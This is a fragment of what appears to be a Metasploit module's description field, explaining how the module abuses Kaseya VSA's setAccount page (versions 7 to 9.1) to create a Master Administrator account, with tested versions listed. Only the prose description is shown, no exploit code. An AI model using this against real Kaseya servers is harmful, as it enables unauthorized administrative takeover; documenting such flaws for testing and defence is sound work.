'Description' => %q{  
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new  
Master Administrator account. Normally this page is only accessible via the localhost  
interface, but the application does nothing to prevent this apart from attempting to  
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and  
v9.0.0.3.
